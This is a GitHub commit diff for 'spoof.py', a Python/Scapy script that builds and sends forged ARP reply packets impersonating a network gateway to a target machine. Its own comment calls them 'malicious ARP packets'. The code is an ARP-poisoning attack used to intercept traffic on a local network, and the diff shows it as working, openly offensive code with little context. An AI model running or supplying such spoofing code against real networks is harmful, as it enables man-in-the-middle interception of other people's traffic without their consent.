Update spoof.py

This commit is contained in:
R3DDY97 2017-04-25 16:22:57 +05:30 committed by GitHub
parent 59a8bdd136
commit 94c1fddea9

View File

@ -22,6 +22,7 @@ def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
# Function for sending the malicious ARP packets out with the specified data
ether = Ether()
ether.src = my_mac
ether.dst = target_mac
arp = ARP()
arp.psrc = gateway_ip
@ -30,15 +31,10 @@ def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
arp = arp
arp.pdst = target_ip
arp.hwdst = target_mac
ether = ether
ether.src = my_mac
ether.dst = target_mac
arp.op = 2
def broadcastPacket():
packet = ether / arp
sendp(x=packet, verbose=False)
broadcastPacket()
broadcastPacket()